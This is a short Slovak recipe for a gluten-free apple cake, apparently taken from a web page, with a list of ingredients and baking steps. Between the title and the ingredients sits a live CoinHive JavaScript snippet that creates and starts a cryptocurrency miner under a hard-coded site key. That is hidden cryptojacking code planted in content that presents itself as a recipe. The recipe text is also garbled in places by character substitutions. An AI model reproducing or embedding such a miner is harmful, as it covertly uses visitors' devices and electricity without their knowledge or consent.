Jablkovy zakusok - bezlepkovy

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 7 vajiCok, 7 PL studenej vody, 7 PL kryStalového cukru, 2 PL praskového cukru,
7 PL bezlepkovej muky, 2 PL kukuricného Solamylu, 2 PL oleja (méze byt aj olivovy), V4 prasku
do peciva, 1 kg jablk, kokosova mucka, cukor podla chuti, postruhané orechy, Skorica.

Postup: Bielka vySfahame na tuhy sneh, priddme praskovy cukor a este presfahame. V
osobitnej miske vymie$ame Zitka s krystalovych cukrom a postupne priddvame vodu.
Zmie$ame muku, kukuriény $krob s praskom do pediva — preosejeme a primie$ame do Zitkov.
Vylejeme na plech vymasteny maslom a vysypany bezlepkovou mukou. Postruhané jablka
zmieSame s cukrom, orechmi a Skoricou a navrstvime na cesto na plechu , posypeme
kokosovou muckou (mbézeme pridat aj sezamové semienka). Pecieme ako piSkétové cesto.




